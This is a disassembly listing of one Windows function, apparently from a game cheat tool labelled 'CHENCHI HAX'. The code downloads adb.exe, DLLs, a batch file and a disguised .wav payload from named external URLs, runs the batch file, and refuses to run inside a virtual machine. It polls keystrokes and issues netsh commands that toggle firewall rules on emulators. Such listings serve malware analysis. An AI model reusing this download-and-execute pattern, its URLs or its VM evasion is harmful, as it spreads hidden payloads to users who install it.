Function at 0x14005d120
Capabilities:
Create directory
Create process on windows
Create thread
Download url
Execute command
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push r14
lea rbp, [rsp - 0x1938]
mov eax, 0x1a38
call fcn.140136d60
sub rsp, rax
lea rcx, str.C:MiPrograma
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rcx, str.C:_adb
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
lea rdx, str.C:_adb_adb.exe
lea rcx, [rbp + 0x780]
call fcn.140045640
lea rdx, str.C:_adbAdbWinApi.dll
lea rcx, [rbp + 0x760]
call fcn.140045640
lea rcx, [rbp + 0x780]
call fcn.1400579a0
xor r14d, r14d
test al, al
jne 0x14005d2ca
lea rcx, [rbp + 0x760]
call fcn.1400579a0
test al, al
jne 0x14005d2ca
movups xmm0, xmmword [str.https:__green_mandrill_989137.hostingersite.com_adb_adb.exe]
mov eax, dword [0x140178618]
lea r8, [rbp + 0x218]
movups xmm1, xmmword [0x1401785f0]
mov dword [rbp + 0x210], eax
xor r9d, r9d
mov eax, dword [0x1401785c0]
lea rdx, [rbp + 0x1d8]
movups xmmword [rbp + 0x1d8], xmm0
mov dword [rbp + 0x220], eax
xor ecx, ecx
movups xmm0, xmmword [0x140178600]
movzx eax, word [0x1401785c4]
mov word [rbp + 0x224], ax
movzx eax, byte [0x1401785c6]
movups xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x226], al
movsd xmm0, qword [0x140178610]
movsd qword [rbp + 0x208], xmm0
movsd xmm0, qword [str.C:_adb_adb.exe]
movsd qword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__green_mandrill_989137.hostingersite.com_adb_AdbWinApi.dll]
lea r8, [rbp + 0x378]
movzx eax, word [0x140178660]
lea rdx, [rbp + 0x3e0]
movaps xmm1, xmmword [0x140178630]
xor r9d, r9d
movaps xmmword [rbp + 0x3e0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140178640]
mov word [rbp + 0x420], ax
mov eax, dword [0x1401785d8]
movaps xmmword [rbp + 0x400], xmm0
movups xmm0, xmmword [str.C:_adbAdbWinApi.dll]
mov dword [rbp + 0x388], eax
movzx eax, byte [0x1401785dc]
movaps xmmword [rbp + 0x3f0], xmm1
movaps xmm1, xmmword [0x140178650]
movups xmmword [rbp + 0x378], xmm0
mov byte [rbp + 0x38c], al
movaps xmmword [rbp + 0x410], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movzx eax, word [0x1401786c0]
lea r8, [rbp + 0x60]
movaps xmm0, xmmword [str.https:__github.com_Parrotsecurity12_exes_raw_refs_heads_main_conectar_emulador.bat]
lea rdx, [rbp + 0x3e0]
movaps xmm1, xmmword [0x140178680]
xor r9d, r9d
movaps xmmword [rbp + 0x3e0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140178690]
mov word [rbp + 0x430], ax
movzx eax, byte [0x1401786c2]
movaps xmmword [rbp + 0x400], xmm0
movaps xmm0, xmmword [0x1401786b0]
movaps xmmword [rbp + 0x3f0], xmm1
movaps xmm1, xmmword [0x1401786a0]
mov byte [rbp + 0x432], al
mov eax, dword [0x1401784f0]
movaps xmmword [rbp + 0x420], xmm0
movups xmm0, xmmword [str.C:WindowsTempconectar_emulador.bat]
mov dword [rbp + 0x80], eax
movzx eax, word [reloc.WS2_32.dll_WSACleanup]
movaps xmmword [rbp + 0x410], xmm1
movups xmm1, xmmword [0x1401784e0]
mov word [rbp + 0x84], ax
movups xmmword [rbp + 0x60], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], r14d
lea r8, str.C:WindowsTempconectar_emulador.bat
mov qword [rsp + 0x20], r14
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140055df0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, [0x1403a0510]
call fcn.1400535c0
mov rdx, rax
lea rcx, [0x1403a0510]
call fcn.140053d30
lea rcx, [0x1403a0510]
call fcn.1400535c0
mov rdx, rax
lea rcx, [0x1403a0510]
call fcn.140053d30
test eax, eax
jne 0x14005d41e
xor r9d, r9d
lea r8, [0x140178568]
lea rdx, str.Abre_primero_el_emulador_.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str.CHENCHI_HAX_CHEATS.exe
mov qword [rsp + 0x1a60], rdi
lea rcx, [rbp + 0x740]
call fcn.140045640
lea rcx, [rbp + 0x720]
call fcn.14005cef0
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x720]
call fcn.140069b50
test al, al
je 0x14005d4a9
call fcn.14005d0b0
lea rcx, [rbp + 0x720]
call fcn.1400455e0
lea rcx, [rbp + 0x740]
call fcn.1400455e0
lea rcx, [rbp + 0x760]
call fcn.1400455e0
lea rcx, [rbp + 0x780]
call fcn.1400455e0
mov rdi, qword [rsp + 0x1a60]
mov eax, 1
add rsp, 0x1a38
pop r14
pop rbp
ret
lea rdx, [0x14037df20]
lea rcx, [0x14037de21]
call fcn.14005ca90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Credenciales_cargadas_correctamente.
test al, al
jne 0x14005d4d5
lea rdx, str.No_se_encontraron_credenciales_guardadas.
call fcn.140069590
lea rdx, [0x140069770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movaps xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_1266365991831470162.wav]
lea r8, [rbp + 0x60]
movaps xmm1, xmmword [0x140178770]
lea rdx, [rbp + 0x3e0]
movzx eax, word [0x1401787a0]
xor r9d, r9d
movaps xmmword [rbp + 0x3e0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140178780]
movaps xmmword [rbp + 0x3f0], xmm1
movaps xmm1, xmmword [0x140178790]
mov word [rbp + 0x420], ax
movzx eax, word [0x140176e88]
movaps xmmword [rbp + 0x400], xmm0
movups xmm0, xmmword [str.C:Windows1266365991831470162.wav]
mov word [rbp + 0x80], ax
movzx eax, byte [0x140176e8a]
movaps xmmword [rbp + 0x410], xmm1
movups xmm1, xmmword [0x140176e78]
mov byte [rbp + 0x82], al
movups xmmword [rbp + 0x60], xmm0
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov eax, dword [0x1401787e0]
lea r8, [rbp + 0x378]
movups xmm0, xmmword [str.https:__github.com_edsonpepe_dll_raw_main_CHENCHIHAXCHAMS.dll]
mov dword [rbp + 0x210], eax
xor r9d, r9d
movzx eax, word [0x1401787e4]
lea rdx, [rbp + 0x1d8]
movups xmm1, xmmword [0x1401787b8]
mov word [rbp + 0x214], ax
xor ecx, ecx
mov eax, dword [0x140178498]
movups xmmword [rbp + 0x1d8], xmm0
mov dword [rbp + 0x390], eax
movups xmm0, xmmword [0x1401787c8]
movzx eax, word [0x14017849c]
mov word [rbp + 0x394], ax
movzx eax, byte [0x14017849e]
movups xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x396], al
movsd xmm0, qword [0x1401787d8]
movsd qword [rbp + 0x208], xmm0
movups xmm0, xmmword [str.C:WindowsCHENCHIHAXCHAMS.dll]
mov qword [rsp + 0x20], r14
movups xmmword [rbp + 0x1e8], xmm1
movups xmmword [rbp + 0x378], xmm0
movsd xmm0, qword [0x140178490]
movsd qword [rbp + 0x388], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
call fcn.140057b10
test al, al
je 0x14005d69d
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.VM_Detected
lea rdx, str.Virtual_Machine_Detected._The_program_is_not_allowed_to_run_in_a_virtual_environment.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x720]
call fcn.1400455e0
lea rcx, [rbp + 0x740]
call fcn.1400455e0
lea rcx, [rbp + 0x760]
call fcn.1400455e0
lea rcx, [rbp + 0x780]
call fcn.1400455e0
mov rdi, qword [rsp + 0x1a60]
xor eax, eax
add rsp, 0x1a38
pop r14
pop rbp
ret
call fcn.140057e10
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140056d30]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140057d70]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140055d70]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r14
lea r8, [0x140056ff0]
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140054fd0]
lea rcx, [rbp + 0x350]
call fcn.140069b90
mov rcx, rax
call fcn.140053580
lea rcx, [rbp + 0x350]
call fcn.14004b160
mov rcx, qword [0x14037f358]
call fcn.140055030
lea rcx, [0x1403a0740]
call fcn.1400e0200
cmp dword [0x14037f3b0], r14d
jne 0x14005d775
call fcn.14006bcc0
mov rcx, rax
call fcn.14006bc20
mov dword [0x14037f3b0], eax
call fcn.14006bcc0
mov edx, dword [0x14037f3b0]
mov rcx, rax
call fcn.14006bb60
lea rcx, [0x1403a0740]
call fcn.1400e0200
cmp byte [0x1403a0958], r14b
jne 0x14005d7ce
lea rcx, [0x1403a0960]
call fcn.1400455b0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm0, xmm0
mov qword [rsp + 0x1a50], rbx
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x5c0], xmm0
lea rax, [0x140067440]
movdqa xmmword [rbp + 0x5d0], xmm1
xor ecx, ecx
movdqa xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5a8], rax
mov qword [rsp + 0x1a58], rsi
mov qword [rbp + 0x5b8], r14
mov dword [rbp + 0x5a0], 0x50
mov dword [rbp + 0x5a4], 0x40
mov qword [rbp + 0x5b0], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
mov qword [rbp + 0x5b8], rax
mov edx, 0x65
mov rbx, rax
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x5c0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x65
mov qword [rbp + 0x5d0], r14
mov qword [rbp + 0x5c8], rax
mov rcx, rbx
lea rax, str.CHENCHI_CHEAT
mov qword [rbp + 0x5d8], rax
mov qword [rbp + 0x5e0], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x5a0]
mov qword [rbp + 0x5e8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov esi, 1
mov ecx, esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x122]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r14
lea r8, str.CHENCHI_HAX
mov qword [rsp + 0x50], r14
cdq
mov qword [rsp + 0x48], r14
sub eax, edx
mov rdx, qword [rbp + 0x5e0]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r14
xor ecx, ecx
mov dword [rsp + 0x38], 0x244
sar eax, 1
sub eax, 0x1f4
mov dword [rsp + 0x30], 0x3e8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x140179e50]
lea rdx, [rbp + 0x1470]
mov rcx, rax
mov qword [0x14037f388], rax
movdqu xmmword [rbp + 0x1470], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x14037f388]
lea rdx, [0x14037f3a0]
xorps xmm0, xmm0
movups xmmword [0x14037f3a0], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x14037f388]
call fcn.140067230
test al, al
jne 0x14005d9bc
call fcn.1400673c0
mov rdx, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x720]
call fcn.1400455e0
lea rcx, [rbp + 0x740]
call fcn.1400455e0
lea rcx, [rbp + 0x760]
call fcn.1400455e0
lea rcx, [rbp + 0x780]
call fcn.1400455e0
mov eax, esi
jmp 0x1400671d6
mov rcx, qword [0x14037f388]
mov edx, 0xa
movaps xmmword [rsp + 0x1a10], xmm6
movaps xmmword [rsp + 0x1a00], xmm7
movaps xmmword [rsp + 0x19f0], xmm8
movaps xmmword [rsp + 0x19e0], xmm9
movaps xmmword [rsp + 0x19d0], xmm10
movaps xmmword [rsp + 0x19c0], xmm11
movaps xmmword [rsp + 0x19b0], xmm12
movaps xmmword [rsp + 0x19a0], xmm13
movaps xmmword [rsp + 0x1990], xmm14
movaps xmmword [rsp + 0x1980], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x14037f388]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x458
call fcn.1400175e0
xor ecx, ecx
call fcn.140006d10
call fcn.140008d30
lea rcx, [rbp + 0x1740]
mov rdi, rax
or dword [rax], 3
call fcn.14002a770
mov dword [rbp + 0x178c], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.14002d990
movss xmm6, dword [0x140179cd8]
lea rdx, [0x140255a00]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x1740]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f370], rax
call fcn.14002d990
movss xmm9, dword [0x140179cd0]
lea rdx, [0x140255a00]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm9
lea rax, [rbp + 0x1740]
mov r8d, 0x26368
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f3f0], rax
call fcn.14002d990
movss xmm3, dword [0x140179cf0]
lea rdx, [0x140358fa0]
mov qword [rsp + 0x28], rax
mov r8d, 0xf40
lea rax, [rbp + 0x1740]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f3f8], rax
call fcn.14002d990
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x1740]
mov r8d, 0x25958
mov qword [rsp + 0x20], rax
lea rdx, [0x140333640]
mov rcx, rbx
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f3e8], rax
call fcn.14002d990
movss xmm3, dword [0x140179cf8]
lea rdx, [0x140333640]
mov qword [rsp + 0x28], rax
mov r8d, 0x25958
lea rax, [rbp + 0x1740]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f378], rax
call fcn.14002d990
movss xmm3, dword [0x140179ce4]
lea rdx, [0x140359ee0]
mov qword [rsp + 0x28], rax
mov r8d, 0x954
lea rax, [rbp + 0x1740]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f3e0], rax
call fcn.14002d990
mov qword [rsp + 0x28], rax
lea rdx, [0x14028ce50]
lea rax, [rbp + 0x1740]
movaps xmm3, xmm6
mov r8d, 0x4d2c4
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002b270
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x14037f368], rax
call fcn.14002d990
movss xmm3, dword [0x140179d04]
lea rdx, [0x14035a840]
mov qword [rsp + 0x28], rax
mov r8d, 0x20fe0
mov rcx, rbx
mov qword [rsp + 0x20], r14
call fcn.14002b270
cmp qword [0x14037f330], r14
mov qword [rbp + 0x608], rax
jne 0x14005dcea
mov rcx, qword [0x14037f3c0]
lea rax, [0x14037f330]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402da120]
mov qword [rsp + 0x20], rcx
mov r8d, 0x79a6
mov rcx, qword [0x1403b5268]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f320], r14
jne 0x14005dd31
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f320]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14027bd70]
mov rax, qword [0x14037f3c0]
mov r8d, 0x10ea4
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f328], r14
jne 0x14005dd78
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f328]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x140194110]
mov rax, qword [0x14037f3c0]
mov r8d, 0xc18eb
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f350], r14
jne 0x14005ddbf
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f350]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14037b820]
mov rax, qword [0x14037f3c0]
mov r8d, 0xeb6
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f348], r14
jne 0x14005de06
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f348]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402e1ad0]
mov rax, qword [0x14037f3c0]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f338], r14
jne 0x14005de4d
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f338]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x14028cc20]
mov rax, qword [0x14037f3c0]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x14037f340], r14
jne 0x14005de94
mov rcx, qword [0x1403b5268]
lea rax, [0x14037f340]
mov qword [rsp + 0x30], r14
lea r9, [0x14037ddc0]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402e1bb0]
mov rax, qword [0x14037f3c0]
mov r8d, 0x51a88
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x14037f388]
call fcn.140048400
mov rdx, qword [0x1403b52b0]
mov rcx, qword [0x1403b5268]
call fcn.140047f30
xorps xmm11, xmm11
lea rcx, [rbp + 0x1800]
xorps xmm3, xmm3
movss dword [rsp + 0x20], xmm11
xorps xmm2, xmm2
xorps xmm1, xmm1
call fcn.140002040
movss xmm12, dword [0x140179c2c]
xor bl, bl
movss xmm13, dword [0x140179be4]
movss xmm8, dword [0x140179d0c]
movss xmm15, dword [0x140179d90]
movss xmm14, dword [0x140179c64]
movss xmm10, dword [0x140179d20]
mov qword [rsp + 0x1a30], r12
mov qword [rsp + 0x1a28], r13
mov dword [rbp + 0x18], ebx
mov qword [rsp + 0x1a20], r15
movss xmm7, dword [0x140179d94]
lea rcx, [rbp + 0x1710]
movss xmm6, dword [0x140179d18]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
movabs r14, 0x7fffffffffff
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005dfaf
nop dword [rax]
lea rcx, [rbp + 0x1710]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1710]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x1718], 0x12
lea rcx, [rbp + 0x1710]
movzx ebx, bl
cmove ebx, esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005df60
mov dword [rbp + 0x18], ebx
test bl, bl
jne 0x1400670fd
mov ecx, 0x7b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14005dfe6
lea rdx, [0x14005c590]
lea rcx, [rbp + 0x1480]
call fcn.140069b90
mov rcx, rax
call fcn.140053580
lea rcx, [rbp + 0x1480]
call fcn.14004b160
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x1400671f9
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x14005e020
mov rcx, qword [0x14037f388]
call fcn.14005b440
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x14037f364]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005e1a3
lea rdx, str.FixLag_TIMER_Activado_
lea rcx, [0x14037dda0]
call fcn.1400455c0
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirin_actionblock_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In1__dirout_actionblock_program__ProgramFiles_Bluestacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirin_actionblock_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In2__dirout_actionblock_program__ProgramFiles_BluestacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirin_actionblock_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In3__dirout_actionblock_program__ProgramFiles_Bluestacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirin_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In6__dirout_actionblock_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirin_actionblock_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In4__dirout_actionblock_program__ProgramData_Bluestacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirin_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_add_rule_name_FF_Block_In5__dirout_actionblock_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
movss xmm0, dword [0x14037f2d8]
mulss xmm0, dword [0x140179ddc]
cvttss2si rcx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_nxtHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacksHD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi2HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramData_BlueStacks_msi5HD_Player.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.netsh_advfirewall_firewall_delete_rule_nameall_program__ProgramFiles_x86__SmartGaGaProjectTitanEngineProjectTitan.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.FixLag_TIMER_Removed_
lea rcx, [0x14037dda0]
call fcn.1400455c0
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x190
call qword [sym.imp.KERNEL32.dll_Beep]
mov ecx, dword [0x14037f318]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005e1da
lea rdx, [0x14005bf10]
lea rcx, [rbp + 0x1490]
call fcn.140069b90
mov rcx, rax
call fcn.140053580
lea rcx, [rbp + 0x1490]
call fcn.14004b160
mov ecx, dword [0x14037f360]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x14005e260
lea rdx, [0x140178108]
lea rcx, [rbp + 0x60]
call fcn.140045640
lea rdx, [0x140166d4a]
mov rsi, rax
lea rcx, [rbp + 0x100]
call fcn.140045640
lea rdx, [0x140166d4a]
mov rdi, rax
lea rcx, [rbp + 0xb0]
call fcn.140045640
lea rdx, [0x140178108]
mov rbx, rax
lea rcx, [rbp + 0xd8]
call fcn.140045640
mov qword [rsp + 0x30], rsi
lea rcx, [0x14037dd68]
mov qword [rsp + 0x28], rdi
mov r9, r14
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rdx, rax
call fcn.140059d40
mov ecx, dword [0x14037f3b4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, Ordinal_50
call fcn.14005c2d0
mov ecx, reloc.WLDAP32.dll_Ordinal_50
movzx r13d, al
call fcn.14005c2d0
mov ecx, 0x33
mov byte [rsp + 0x60], al
call fcn.14005c2d0
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0x61], al
call fcn.14005c2d0
mov ecx, WSAStartup
mov byte [rsp + 0x62], al
call fcn.14005c2d0
mov ecx, WSAStartup
mov byte [rsp + 0x63], al
call fcn.14005c2d0
mov ecx, reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x64], al
call fcn.14005c2d0
mov ecx, 0x51
mov byte [rsp + 0x65], al
call fcn.14005c2d0
mov ecx, 0x45
mov byte [rsp + 0x66], al
call fcn.14005c2d0
